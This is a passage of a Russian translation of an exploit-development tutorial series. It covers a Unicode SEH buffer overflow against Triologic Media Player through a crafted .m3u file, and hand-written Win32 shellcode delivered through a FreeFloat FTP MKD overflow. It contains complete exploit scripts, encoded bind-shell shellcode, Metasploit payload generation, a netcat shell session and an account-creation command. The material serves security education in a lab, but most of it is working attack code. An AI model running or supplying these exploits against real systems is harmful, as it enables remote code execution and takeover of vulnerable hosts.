Как правило, игра уже закончена, поскольку мы помещаем наш шелл-код сразу после SEH, однако это не будет возможно с буфером юникод. Обычно наш шеллкод будет содержать подпрограмму «get program counter» (getPC), но такой стандартной подпрограммы для юникодного шеллкода не существует. Нам нужно будет эмулировать эту процедуру вручную, совместив один из регистров процессора точно с началом нашего шелл-кода.

Вам нужно будет сделать одну из двух вещей (это не совсем верно, но должно быть достаточно в 90% случаев). Либо: 1) найдите регистр процессора, который находится рядом с вашим буфером, и выровняйте его, добавив к нему значения и вычтя их, либо 2) найдите адрес в стеке, который указывает на ваш буфер, и сохраните значения стека, чтобы вы могли в конечном итоге вернуться к нему.

В нашем случае я выберу первый случай. Изучив регистры процессора, я заметил, что некоторые из них указывают на местоположение, которое близко к нашему буферу. В конце концов я решил использовать регистр EBP. Вы можете увидеть дамп памяти этого регистра ниже, показывая его близость к нашему буферу.

7.png


Имейте в виду, что мы не выравниваем регистр с нашими напами (первая часть нашего буфера), но после нашего обхода SEH (с нашими B). С некоторыми хитрыми вычислениями, мое первоначальное предположение состояло в том, что мне нужно было добавить около 2300 байтов в регистр EBP, чтобы он указывал на правильное место (в шестнадцатеричном формате это будет эквивалентно EBP + 900). Однако, похоже, это не сработало. Поиграв с длиной, я с удивлением увидел, что мне нужно было добавить всего около 770 байтов (в шестнадцатеричном формате это эквивалентно EBP + 300). Я не уверен, почему именно так. Если кто-то хочет просветить меня, пришлите мне письмо.

Время создать наш опкод который должен изменить наш регистр. Как и прежде, нам нужно будет использовать юникод NOP для поглощения лишних 00.

"\x55" #push the value of EBP on to the stack
"\x71" #Venetian Padding
"\x58" #take the value of EBP and pop it into EAX
"\x71" #Venetian Padding
"\x05\x20\x11" #add eax,0x11002000 \
"\x71" #Venetian Padding |> the net sum will add 300 to the value in EAX
"\x2d\x17\x11" #sub eax,0x11001700 /
"\x71" #Venetian Padding
"\x50" #push the new value of EAX onto the stack (points to our buffer)
"\x71" #Venetian Padding
"\xC3" #redirect execution flow to the pointer at the top of the stack ==> EAX

Хорошо. Это должно сработать. Вы можете увидеть результат на скриншоте ниже и наш новый POC, содержащий выравнивающий шелл-код.

8.png


Python:
#!/usr/bin/python -w

filename="evil.m3u"

#---------------------SEH-Structure---------------------#
#nSEH => \x41\x71 => 41       INC ECX                   #
#                    0071 00  ADD BYTE PTR DS:[ECX],DH  #
#SEH =>  \xF2\x41 => F2:      PREFIX REPNE:             #
#                    0041 00  ADD BYTE PTR DS:[ECX],AL  #
#-------------------------------------------------------#
#0x004100f2 : pop esi # pop ebx # ret 04 | triomp8.exe  #
#-------------------------------------------------------#
SEH = "\x41\x71" + "\xF2\x41"

#-----------------------Alignment-----------------------#
#After we step through nSEH and SEH if look at the dump #
#of the CPU registers we can see several which are close#
#to our shellcode, I chose EBP. Time for some Venetian  #
#Black-Magic alignment...                               #
#-------------------------------------------------------#
align = (
"\x55"                      #push EBP  
"\x71"                      #Venetian Padding
"\x58"                      #pop EAX
"\x71"                      #Venetian Padding
"\x05\x20\x11"              #add eax,0x11002000  \
"\x71"                      #Venetian Padding     |> +300
"\x2d\x17\x11"              #sub eax,0x11001700  /
"\x71"                      #Venetian Padding
"\x50"                      #push EAX
"\x71"                      #Venetian Padding
"\xC3")                     #RETN

boom = SEH + align
buffer = "\x90"*536 + boom + "B"*(4466-len(boom))

textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

Кажется, все работает как положено. Регистр EAX указывает на наш буфер с достаточным пространством для любого шеллкода, который мы хотели бы разместить там. Осталось только заполнить наш буфер достаточным количеством мусора, чтобы наш шеллкод указывал точно на начало регистра EAX. Я полагаю, вы могли бы сделать это с метасплотом, хотя я просто рассчитал это вручную. Вы можете увидеть наш финальный этап POC ниже.

Python:
#!/usr/bin/python -w

filename="evil.m3u"

#---------------------SEH-Structure---------------------#
#nSEH => \x41\x71 => 41       INC ECX                   #
#                    0071 00  ADD BYTE PTR DS:[ECX],DH  #
#SEH =>  \xF2\x41 => F2:      PREFIX REPNE:             #
#                    0041 00  ADD BYTE PTR DS:[ECX],AL  #
#-------------------------------------------------------#
#0x004100f2 : pop esi # pop ebx # ret 04 | triomp8.exe  #
#-------------------------------------------------------#
SEH = "\x41\x71" + "\xF2\x41"

#-----------------------Alignment-----------------------#
#After we step through nSEH and SEH if look at the dump #
#of the CPU registers we can see several which are close#
#to our shellcode, I chose EBP. Time for some Venetian  #
#Black-Magic alignment...                               #
#-------------------------------------------------------#
align = (
"\x55"                      #push EBP  
"\x71"                      #Venetian Padding
"\x58"                      #pop EAX
"\x71"                      #Venetian Padding
"\x05\x20\x11"              #add eax,0x11002000  \
"\x71"                      #Venetian Padding     |> +300
"\x2d\x17\x11"              #sub eax,0x11001700  /
"\x71"                      #Venetian Padding
"\x50"                      #push EAX
"\x71"                      #Venetian Padding
"\xC3")                     #RETN

#We need to pad our buffer to the place of our alignment in EAX
filler = "\x58"*117

shellcode = (
)

boom = SEH + align + filler + shellcode
buffer = "\x90"*536 + boom + "B"*(4466-len(boom))

textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

Шеллкод + Конец игры

По сути, игра окончена. Все, что остается - это создать желаемый шеллкод, совместимый с юникодом. Благодаря отличной работе SkyLined это вовсе не является препятствием. Вы можете получить копию кодировщика alpha2 здесь - (http://skypher.com/wiki/index.php/Hacking/Shellcode/Alphanumeric/ALPHA2). Просто скачайте исъодник C, и скомпилируйте его с помощью gcc. Вы можете наблюдать синтаксис для генерации нашего шелл-кода ниже.

Bash:
root@bt:/pentest/alpha2# msfpayload -l
[...snip...]
windows/shell/reverse_tcp_dns    Connect back to the attacker, Spawn a piped command shell (staged)
windows/shell_bind_tcp           Listen for a connection and spawn a command shell
windows/shell_bind_tcp_xpfw      Disable the Windows ICF, then listen for a connection and spawn a
                                 command shell
[...snip...]

root@bt:/pentest/alpha2# msfpayload windows/shell_bind_tcp O

       Name: Windows Command Shell, Bind TCP Inline
     Module: payload/windows/shell_bind_tcp
    Version: 8642
   Platform: Windows
       Arch: x86
Needs Admin: No
Total size: 341
       Rank: Normal

Provided by:
  vlad902 <vlad902@gmail.com>
  sf <stephen_fewer@harmonysecurity.com>

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
LPORT     4444             yes       The listen port
RHOST                      no        The target address

Description:
  Listen for a connection and spawn a command shell

root@bt:/pentest/alpha2# msfpayload windows/shell_bind_tcp LPORT=9988 R > bindshell9988.raw

root@bt:/pentest/alpha2# ./alpha2 eax --unicode --uppercase < bindshell9988.raw
PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1
AYAZBABABABAB30APB944JBKLK8CYKPM0KPQP59ZEP18RQTTKQBNP4KQBLLTK0RLTDKCBMXLOWGOZO6NQKONQ7PVLOLC13LKRNLO0GQHOL
MKQY7YRL022R74KPRLP4KPBOLKQJ0TKOPSHSU7PD4OZKQ8PPPTKQ8LX4KQHO0M1ICJCOLOYTK04TKM1YFP1KONQ7P6L7QXOLMKQ7W08K0R
UZTM33ML8OKCMO4SEYRQHTKPXO4KQICQV4KLLPK4KR8MLKQHSTKKT4KKQJ0SYOTO4NDQKQK1Q0Y1JPQKOIPB8QOQJTKMBJKTFQM38NSOBK
PKPQXBWBSNRQOB4QXPLBWNFLGKO8UWHDPM1KPKPNIWTPTPPBHO9SPRKKPKOJ50P20PP0P10PP10R0S89ZLOIOYPKO9EE9XGNQ9K1CRHM2K
PNGKTTIK61ZLP0V0WBH7RYKOGS7KOXU0SPWQX7GIYOHKOKOZ50SB3R7C83DZLOKK1KO8UQGTIGWS8RURN0M1QKO8URHRC2MQTKPTIK31G0
WPWNQL6QZMBR9R6JBKM1VY7OTMTOLM1KQTMOTO4N096KPQ4B4PPQF0VPVOV26PNB6R6B3QF1X3IHLOO3VKOHUTIK00NR6PFKONP38LHU7M
MQPKOXUGKJPGEVBPV38G6F5GM5MKOXUOLLF3LKZCPKKIPBUM57KOWMCSBRO2JM0PSKO9EA

Будьте осторожны, чтобы указать правильный регистр при кодировании вашего шеллкода. После добавления некоторых заметок наш последний эксплоит готов!

Python:
#!/usr/bin/python -w

#-------------------------------------------------------------------------------#
# Exploit: Triologic Media Player 8 (.m3u) SEH Unicode                          #
# Author: b33f (Ruben Boonen) - http://www.fuzzysecurity.com/                   #
# OS: WinXP PRO SP3                                                             #
# Software: http://download.cnet.com/Triologic-Media-Player/                    #
#           3000-2139_4-10691520.html                                           #
#-------------------------------------------------------------------------------#
# This exploit was created for Part 5 of my Exploit Development tutorial        #
# series - http://www.fuzzysecurity.com/tutorials/expDev/5.html                 #
#-------------------------------------------------------------------------------#
# root@bt:/pentest/alpha2# nc -nv 192.168.111.128 9988                          #
# (UNKNOWN) [192.168.111.128] 9988 (?) open                                     #
# Microsoft Windows XP [Version 5.1.2600]                                       #
# (C) Copyright 1985-2001 Microsoft Corp.                                       #
#                                                                               #
# C:\Documents and Settings\Administrator\Desktop>                              #
#-------------------------------------------------------------------------------#

filename="evil.m3u"

#---------------------SEH-Structure---------------------#
#nSEH => \x41\x71 => 41       INC ECX                   #
#                    0071 00  ADD BYTE PTR DS:[ECX],DH  #
#SEH =>  \xF2\x41 => F2:      PREFIX REPNE:             #
#                    0041 00  ADD BYTE PTR DS:[ECX],AL  #
#-------------------------------------------------------#
#0x004100f2 : pop esi # pop ebx # ret 04 | triomp8.exe  #
#-------------------------------------------------------#
SEH = "\x41\x71" + "\xF2\x41"

#-----------------------Alignment-----------------------#
#After we step through nSEH and SEH if look at the dump #
#of the CPU registers we can see several which are close#
#to our shellcode, I chose EBP. Time for some Venetian  #
#Black-Magic alignment...                               #
#-------------------------------------------------------#
align = (
"\x55"                      #push EBP  
"\x71"                      #Venetian Padding
"\x58"                      #pop EAX
"\x71"                      #Venetian Padding
"\x05\x20\x11"              #add eax,0x11002000  \
"\x71"                      #Venetian Padding     |> +300
"\x2d\x17\x11"              #sub eax,0x11001700  /
"\x71"                      #Venetian Padding
"\x50"                      #push EAX
"\x71"                      #Venetian Padding
"\xC3")                     #RETN

#We need to pad our buffer to the place of our alignment in EAX
filler = "\x58"*117

#---------------------------------------Shellcode---------------------------------------------#
#root@bt:/pentest/alpha2# msfpayload windows/shell_bind_tcp LPORT=9988 R > bindshell9988.raw  #
#root@bt:/pentest/alpha2# ./alpha2 eax --unicode --uppercase < bindshell9988.raw              #
#---------------------------------------------------------------------------------------------#
shellcode = (
"PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1"
"AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABA"
"BAB30APB944JBKLK8CYKPM0KPQP59ZEP18RQTTKQBNP4KQBLLTK0RLTDKC"
"BMXLOWGOZO6NQKONQ7PVLOLC13LKRNLO0GQHOLMKQY7YRL022R74KPRLP4"
"KPBOLKQJ0TKOPSHSU7PD4OZKQ8PPPTKQ8LX4KQHO0M1ICJCOLOYTK04TKM"
"1YFP1KONQ7P6L7QXOLMKQ7W08K0RUZTM33ML8OKCMO4SEYRQHTKPXO4KQI"
"CQV4KLLPK4KR8MLKQHSTKKT4KKQJ0SYOTO4NDQKQK1Q0Y1JPQKOIPB8QOQ"
"JTKMBJKTFQM38NSOBKPKPQXBWBSNRQOB4QXPLBWNFLGKO8UWHDPM1KPKPN"
"IWTPTPPBHO9SPRKKPKOJ50P20PP0P10PP10R0S89ZLOIOYPKO9EE9XGNQ9"
"K1CRHM2KPNGKTTIK61ZLP0V0WBH7RYKOGS7KOXU0SPWQX7GIYOHKOKOZ50"
"SB3R7C83DZLOKK1KO8UQGTIGWS8RURN0M1QKO8URHRC2MQTKPTIK31G0WP"
"WNQL6QZMBR9R6JBKM1VY7OTMTOLM1KQTMOTO4N096KPQ4B4PPQF0VPVOV2"
"6PNB6R6B3QF1X3IHLOO3VKOHUTIK00NR6PFKONP38LHU7MMQPKOXUGKJPG"
"EVBPV38G6F5GM5MKOXUOLLF3LKZCPKKIPBUM57KOWMCSBRO2JM0PSKO9EA")

boom = SEH + align + filler + shellcode
buffer = "\x90"*536 + boom + "B"*(4466-len(boom))

textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

На скриншотах ниже вы можете видеть, что наш шелл-код идеально выровнен с регистром EAX и до и после вывода «netstat -an», показывающего, что наш биндшелл слушает! Финита ля комедия.

9.png


10.png



Bash:
root@bt:/pentest/alpha2# nc -nv 192.168.111.128 9988
(UNKNOWN) [192.168.111.128] 9988 (?) open
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . : localdomain
        IP Address. . . . . . . . . . . . : 192.168.111.128
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . :

C:\Documents and Settings\Administrator\Desktop>
 
Часть 6: Написание Win32 шеллкода

Привет и добро пожаловать! Сегодня мы будем писать свой собственный шелл-код с нуля. Это особенно полезное упражнение по двум причинам: 1) у вас есть эксплоит, который не должен быть переносимым, но имеет жесткие ограничения пространства, и 2) это хороший способ понять ROP (Возвратно Ориентированное Программировние), даже если есть некоторые существенные различия, которые ROP также будет включать в себя создавая параметры для функций Windows API в стеке.

Чтобы ускорить процесс, мы будем использовать каркас эксплойта "FreeFloat FTP", который мы создали в первой части этого урока. Вам также понадобится программа под названием "arwin", которая является утилитой для поиска абсолютных адресов функций Windows в указанной DLL. Я включил всю соответствующую информацию ниже (исходник на C и скомпилированную версия).

Нам потребуется:
Среда для разработки эксплойтов: Backtrack 5
Виртуальная машина: Windows XP PRO SP3
Плохие символы: "\x00\x0A\x0D"

Уязвимое программное обеспечение: Можно взять отсюда (https://www.exploit-db.com/wp-conte...cbbf5b2506e80a375377fa-freefloatftpserver.zip)
Arwin+исходный код: (https://www.fuzzysecurity.com/tutorials/expDev/tools/arwin.rar)

Введение

Я просто хочу сказать пару вещей, прежде чем мы начнем. Сначала шеллкод, который мы напишем, будет зависеть от операционной системы и её версии билда (в нашем случае это WinXP SP3). Во-вторых, этот метод возможен только потому, что библиотеки операционной системы в WinXP не подвержены рандомизации базовых адресов (ASLR). В-третьих, Google + MSDN - ваш самый большой друг. Наконец, не отчаивайтесь, это намного проще, чем кажется.

Мы будем создавать две отдельные "полезные нагрузки": 1) запуск калькулятора и 2) создание всплывающего окна с сообщением. Для этого мы будем использовать две функции Windows API: 1) WinExec и 2) MessageBoxA.

Но сначала давайте взглянем на то, как выглядит шеллкод, когда он генерируется инфраструктурой метасплоита (обратите внимание на размер позже). Не забудьте закодировать шеллкод, чтобы отфильтровать плохие символы.

1) WinExec: запуска калькулятора

Bash:
root@bt:~# msfpayload windows/exec CMD=calc.exe R | msfencode -b '\x00\x0A\x0D' -t c
[*] x86/shikata_ga_nai succeeded with size 227 (iteration=1)

unsigned char buf[] =
"\xd9\xec\xd9\x74\x24\xf4\xb8\x28\x1f\x44\xde\x5b\x31\xc9\xb1"
"\x33\x31\x43\x17\x83\xeb\xfc\x03\x6b\x0c\xa6\x2b\x97\xda\xaf"
"\xd4\x67\x1b\xd0\x5d\x82\x2a\xc2\x3a\xc7\x1f\xd2\x49\x85\x93"
"\x99\x1c\x3d\x27\xef\x88\x32\x80\x5a\xef\x7d\x11\x6b\x2f\xd1"
"\xd1\xed\xd3\x2b\x06\xce\xea\xe4\x5b\x0f\x2a\x18\x93\x5d\xe3"
"\x57\x06\x72\x80\x25\x9b\x73\x46\x22\xa3\x0b\xe3\xf4\x50\xa6"
"\xea\x24\xc8\xbd\xa5\xdc\x62\x99\x15\xdd\xa7\xf9\x6a\x94\xcc"
"\xca\x19\x27\x05\x03\xe1\x16\x69\xc8\xdc\x97\x64\x10\x18\x1f"
"\x97\x67\x52\x5c\x2a\x70\xa1\x1f\xf0\xf5\x34\x87\x73\xad\x9c"
"\x36\x57\x28\x56\x34\x1c\x3e\x30\x58\xa3\x93\x4a\x64\x28\x12"
"\x9d\xed\x6a\x31\x39\xb6\x29\x58\x18\x12\x9f\x65\x7a\xfa\x40"
"\xc0\xf0\xe8\x95\x72\x5b\x66\x6b\xf6\xe1\xcf\x6b\x08\xea\x7f"
"\x04\x39\x61\x10\x53\xc6\xa0\x55\xab\x8c\xe9\xff\x24\x49\x78"
"\x42\x29\x6a\x56\x80\x54\xe9\x53\x78\xa3\xf1\x11\x7d\xef\xb5"
"\xca\x0f\x60\x50\xed\xbc\x81\x71\x8e\x23\x12\x19\x7f\xc6\x92"
"\xb8\x7f";

2) MessageBoxA: всплывающее окно с заголовком "b33f" и сообщением "Pop the box!"

Bash:
root@bt:~# msfpayload windows/messagebox TEXT='Pop the box!' TITLE=b33f R| msfencode -b
'\x00\x0A\x0D' -t c
[*] x86/shikata_ga_nai succeeded with size 287 (iteration=1)

unsigned char buf[] =
"\xb8\xe0\x20\xa7\x98\xdb\xd1\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"
"\x42\x31\x42\x12\x83\xc2\x04\x03\xa2\x2e\x45\x6d\xfb\xc4\x12"
"\x57\x8f\x3e\xd1\x59\xbd\x8d\x6e\xab\x88\x96\x1b\xba\x3a\xdc"
"\x6a\x31\xb1\x94\x8e\xc2\x83\x50\x24\xaa\x2b\xea\x0c\x6b\x64"
"\xf4\x05\x78\x23\x05\x37\x81\x32\x65\x3c\x12\x90\x42\xc9\xae"
"\xe4\x01\x99\x18\x6c\x17\xc8\xd2\xc6\x0f\x87\xbf\xf6\x2e\x7c"
"\xdc\xc2\x79\x09\x17\xa1\x7b\xe3\x69\x4a\x4a\x3b\x75\x18\x29"
"\x7b\xf2\x67\xf3\xb3\xf6\x66\x34\xa0\xfd\x53\xc6\x13\xd6\xd6"
"\xd7\xd7\x7c\x3c\x19\x03\xe6\xb7\x15\x98\x6c\x9d\x39\x1f\x98"
"\xaa\x46\x94\x5f\x44\xcf\xee\x7b\x88\xb1\x2d\x31\xb8\x18\x66"
"\xbf\x5d\xd3\x44\xa8\x13\xaa\x46\xc5\x79\xdb\xc8\xea\x82\xe4"
"\x7e\x51\x78\xa0\xff\x82\x62\xa5\x78\x2e\x46\x18\x6f\xc1\x79"
"\x63\x90\x57\xc0\x94\x07\x04\xa6\x84\x96\xbc\x05\xf7\x36\x59"
"\x01\x82\x35\xc4\xa3\xe4\xe6\x22\x49\x7c\xf0\x7d\xb2\x2b\xf9"
"\x08\x8e\x84\xba\xa3\xac\x68\x01\x34\xac\x56\x2b\xd3\xad\x69"
"\x34\xdc\x45\xce\xeb\x03\xb5\x86\x89\x70\x86\x30\x7f\xac\x60"
"\xe0\x5b\x56\xf9\xfa\xcc\x0e\xd9\xdc\x2c\xc7\x7b\x72\x55\x36"
"\x13\xf8\xcd\x5d\xc3\x68\x5e\xf1\x73\x49\x6f\xc4\xfb\xc5\xab"
"\xda\x72\x34\x82\x30\xd6\xe4\xb4\xe6\x29\xda\x06\xc7\x85\x24"
"\x3d\xcf";

Вы можете проверить эти полезные нагрузки позже, чтобы убедиться, что они работают как задумано. Пора посмотреть, сможем ли мы соответствовать инфраструктуре метасплоита и написать свой собственный шеллкод !!!

Скелет эксплойта

Чтобы сделать этот туториал максимально реалистичным, мы собираемся реализовать наши полезные нагрузки в эксплойте "FreeFloat FTP", который мы создали для первой части этой серии туториалов. Первым шагом является создание нашего скелета эксплоита. По сути, мы будем обрезать наш предыдущий эксплойт, как этот.

Python:
#!/usr/bin/python
 
#----------------------------------------------------------------------------------#
# Exploit: FreeFloat FTP (MKD BOF)                                                 #
# OS: WinXP PRO SP3                                                                #
# Author: b33f (Ruben Boonen)                                                      #
# Software: http://www.freefloat.com/software/freefloatftpserver.zip               #
#----------------------------------------------------------------------------------#

import socket
import sys

shellcode = (
)

#----------------------------------------------------------------------------------#
# Badchars: \x00\x0A\x0D                                                           #
# 0x77c35459 : push esp #  ret  | msvcrt.dll                                       #
# shellcode at ESP => space 749-bytes                                              #
#----------------------------------------------------------------------------------#

buffer = "\x90"*20 + shellcode
evil = "A"*247 + "\x59\x54\xC3\x77" + buffer + "C"*(749-len(buffer))

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))

s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close

Это должно дать нам основу для работы. Любой шеллкод, который мы поместим в переменную шеллкода, будет выполнен. Как вы можете видеть на скриншоте ниже, мы достигаем нашего ноп-следа после выполнения инструкций в регистре EIP.

1.png


Ассемблер и опкоды

Когда вы пишете свой собственный шеллкод, вам, очевидно, придется иметь дело со ассемблером и опкодами (шестнадцатеричный перевод вашего ассемблерного кода). Вам понадобятся некоторые базовые знания по ассемблированию (инструкции push, pop, mov, xor и так далее). Ничего драматичного. Суть в том, что ваш шеллкод будет записан в опкодах, поэтому вы можете спросить себя, как мне узнать, что такое опкоды для любой данной инструкции. Я расскажу вам, как я подхожу к проблеме.

Если вы установите точку останова в отладчике, вы можете вручную отредактировать инструкцию там, и отладчик Immunity предоставит вам опкод. В некотором смысле вы используете Immunity в качестве словаря. На скриншотах ниже вы можете видеть опкод "перевод" нескольких случайных инструкций.

2.png


1) Фунция WinExec

Прежде чем мы сможем что-либо сделать, нам нужно знать, как выглядит функция WinExec и какие параметры нам нужны для ее вызова. Вы можете найти эту информацию на MSDN.

WinExec: (https://docs.microsoft.com/ru-ru/windows/win32/api/winbase/nf-winbase-winexec?redirectedfrom=MSDN)

Потратьте некоторое время на чтение информации, вы увидите, что функция WinExec имеет очень простую структуру, состоящую из трех параметров, как показано ниже.


C:
Structure:                              Parameters:


UINT WINAPI WinExec(            =>      A pointer to WinExec() in kernel32.dll

  __in  LPCSTR lpCmdLine,       =>      ASCII string "calc.exe"

  __in  UINT uCmdShow           =>      0x00000001 (SW_SHOWNORMAL)

);



Первое, что нам нужно найти, это указатель на функцию WinExec. В этом нам может помочь arwin, поскольку kernel32.dll не обработан ASLR в WinXP. Откройте arwin в терминале на машине и введите следующее.

arwin.exe kernel32.dll WinExec

3.png


Далее нам нужно выяснить, как записать нашу ASCII-строку (в данном случае команду, которую мы хотим запустить) в стек. Когда вы делаете это впервые, это может показаться немного запутанным, но это не так сложно. Лучший способ понять это, взглянув на следующие примеры.

ASCII Text: ASCII Text:
calc.exe abcdefghijkl

Split Text into groups of 4 characters: Split Text into groups of 4 characters:
"calc" "abcd"
".exe" "efgh"
"ijkl"

Reverse the order of the character groups: Reverse the order of the character groups:
".exe" "ijkl"
"calc" "efgh"
"abcd"

Look on google for a ASCII to hex converter Look on google for a ASCII to hex converter
and convert each character while maintaining and convert each character while maintaining
the order: the order:
"\x2E\x65\x78\x65" "\x69\x6A\x6B\x6C"
"\x63\x61\x6C\x63" "\x65\x66\x67\x68"
"\x61\x62\x63\x64"

To write these values to the stack simply add To write these values to the stack simply add
"\x68" infront of each group: "\x68" infront of each group:
"\x68\x2E\x65\x78\x65" => PUSH ".exe" "\x68\x69\x6A\x6B\x6C" => PUSH "ijkl"
"\x68\x63\x61\x6C\x63" => PUSH "calc" "\x68\x65\x66\x67\x68" => PUSH "efgh"
"\x68\x61\x62\x63\x64" => PUSH "abcd"

Это кажется довольно простым, однако вы могли заметить, что наш ASCII текст должен быть выровнен по 4 символам. Так что же происходит, если это не так? Есть довольно много способов справиться с этим. Я предлагаю вам прочитать это (https://www.corelan.be/index.php/20...ial-part-9-introduction-to-win32-shellcoding/) превосходное руководство, написанное corelanc0d3r. Как всегда, мастерство требует усилий. Однако я покажу вам одну технику, посмотрите на пример ниже.

ASCII Text:
net user b33f 1234 /add

Split Text into groups of 4 characters:
"net "
"user"
" b33"
"f 12"
"34 /"
"add"

As you can see the alignment doesn't add up we are left with 3 characters at the end. There is a easy fix
for this, adding an extra space at the end won't affect the command at all. After reversing the group
order this is what we end up with.

"add " => "\x68\x61\x64\x64\x20" => PUSH "add "
"34 /" => "\x68\x33\x34\x20\x2F" => PUSH "34 /"
"f 12" => "\x68\x66\x20\x31\x32" => PUSH "f 12"
" b33" => "\x68\x20\x62\x33\x33" => PUSH " b33"
"user" => "\x68\x75\x73\x65\x72" => PUSH "user"
"net " => "\x68\x6E\x65\x74\x20" => PUSH "net "

Наконец нам нужно поместить "1" в стек. Помните, что если вы не знаете опкод для ассемблерной инструкции, вы можете ввести команду вживую в отладчике, которая переведет ее для вас.

uCmdShow needs to be set to 0x00000001 there are a couple of ways you can do this just use your
imagination. We are going to use this:

PUSH 1 => "\x6A\x01" (not to be confused with ASCII "1" = "\x31")

(*) Just to give you an idea, something like this could also work:

xor eax,eax (zero out eax register)
inc eax (increment eax with 1)
push eax (push eax to the stack)

Собираем вещи вместе

Мы собираемся поместить эти три аргумента в стек в том же порядке, как показано в MSDN. Необходимо помнить две вещи: 1) стек растет сверху вниз, поэтому нам нужно сначала поместить последний аргумент, и 2) lpCmdLine содержит нашу команду ASCII, но функция WinExec не хочет принимать сами сиволы ASCII. Она хочет указатель на ASCII строка.

"\x68\x2E\x65\x78\x65" => PUSH ".exe" \ Push The ASCII string to the stack
"\x68\x63\x61\x6C\x63" => PUSH "calc" /
"\x8B\xC4" => MOV EAX,ESP | Put a pointer to the ASCII string in EAX
"\x6A\x01" => PUSH 1 | Push uCmdShow parameter to the stack
"\x50" => PUSH EAX | Push the pointer to lpCmdLine to the stack
"\xBB\xED\x2A\x86\x7C" => MOV EBX,7C862AED | Move the pointer to WinExec() into EBX
"\xFF\xD3" => CALL EBX | Call WinExec()

Это довольно хорошая попытка, но она не сработает. Давайте посмотрим, что происходит, когда мы выполняем эти инструкции в отладчике.

4.png


5.png


Это довольно близко, но мы можем видеть, что когда вызывается функция WinExec, lpCmdLine не знает, где заканчивается наша команда ASCII, поэтому она добавляет массу данных в "calc.exe". Нам нужно завершить строку ASCII нулевыми байтами.

"\x33\xc0" => XOR EAX,EAX | Zero out EAX register
"\x50" => PUSH EAX | Push EAX to have null-byte padding for "calc.exe"
"\x68\x2E\x65\x78\x65" => PUSH ".exe" \ Push The ASCII string to the stack
"\x68\x63\x61\x6C\x63" => PUSH "calc" /
"\x8B\xC4" => MOV EAX,ESP | Put a pointer to the ASCII string in EAX
"\x6A\x01" => PUSH 1 | Push uCmdShow parameter to the stack
"\x50" => PUSH EAX | Push the pointer to lpCmdLine to the stack
"\xBB\xED\x2A\x86\x7C" => MOV EBX,7C862AED | Move the pointer to WinExec() into EBX
"\xFF\xD3" => CALL EBX | Call WinExec()

Это должно cделать свое дело! Из приведенных ниже снимков экрана видно, что параметры теперь отображаются правильно. Если вы выполните этот код, вы увидите, что калькулятор открывается.

6.png


Python:
#!/usr/bin/python
   
#----------------------------------------------------------------------------------#
# Exploit: FreeFloat FTP (MKD BOF)                                                 #
# OS: WinXP PRO SP3                                                                #
# Author: b33f (Ruben Boonen)                                                      #
# Software: http://www.freefloat.com/software/freefloatftpserver.zip               #
#----------------------------------------------------------------------------------#

import socket
import sys

#----------------------------------------------------------------------------------#
# (*) WinExec                                                                      #
# (*) arwin.exe => Kernel32.dll - WinExec 0x7C862AED                               #
# (*) MSDN Structure:                                                              #
#                                                                                  #
# UINT WINAPI WinExec(            => PTR to WinExec                                #
#   __in  LPCSTR lpCmdLine,       => calc.exe                                      #
#   __in  UINT uCmdShow           => 0x1                                           #
# );                                                                               #
#                                                                                  #
# Final Size => 26-bytes (metasploit version size => 227-bytes)                    #
#----------------------------------------------------------------------------------#
WinExec = (
"\x33\xc0"                          # XOR EAX,EAX
"\x50"                              # PUSH EAX      => padding for lpCmdLine
"\x68\x2E\x65\x78\x65"              # PUSH ".exe"
"\x68\x63\x61\x6C\x63"              # PUSH "calc"
"\x8B\xC4"                          # MOV EAX,ESP
"\x6A\x01"                          # PUSH 1
"\x50"                              # PUSH EAX
"\xBB\xED\x2A\x86\x7C"              # MOV EBX,kernel32.WinExec
"\xFF\xD3")                         # CALL EBX

#----------------------------------------------------------------------------------#
# Badchars: \x00\x0A\x0D                                                           #
# 0x77c35459 : push esp #  ret  | msvcrt.dll                                       #
# shellcode at ESP => space 749-bytes                                              #
#----------------------------------------------------------------------------------#

buffer = "\x90"*20 + WinExec
evil = "A"*247 + "\x59\x54\xC3\x77" + buffer + "C"*(749-len(buffer))

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))

s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close

2) Фунция MessageBoxA

Прежде чем что-то делать, давайте посмотрим, как выглядит функция MessageBoxA и какие параметры нам нужны для их передачи. Вы можете найти эту информацию на MSDN (https://msdn.microsoft.com/en-us/library/windows/desktop/ms645505(v=vs.85).aspx).

Structure: Parameters:

int WINAPI MessageBox( => A pointer to MessageBoxA() in user32.dll
__in_opt HWND hWnd, => 0x00000000 (NULL = No Window Owner)
__in_opt LPCTSTR lpText, => ASCII string "Pop the box!"
__in_opt LPCTSTR lpCaption, => ASCII string "b33f"
__in UINT uType => 0x00000000 (MB_OK|MB_APPLMODAL)

Это выглядит немного сложнее, но мы ничего не можем с этим поделать. Единственная реальная разница здесь в том, что у нас есть две строки ASCII, которые нам нужно создать.

Давайте начнем с нашего указателя на функцию MessageBoxA. На этот раз нам нужно позволить arwin посмотреть в библиотеку user32.dll.

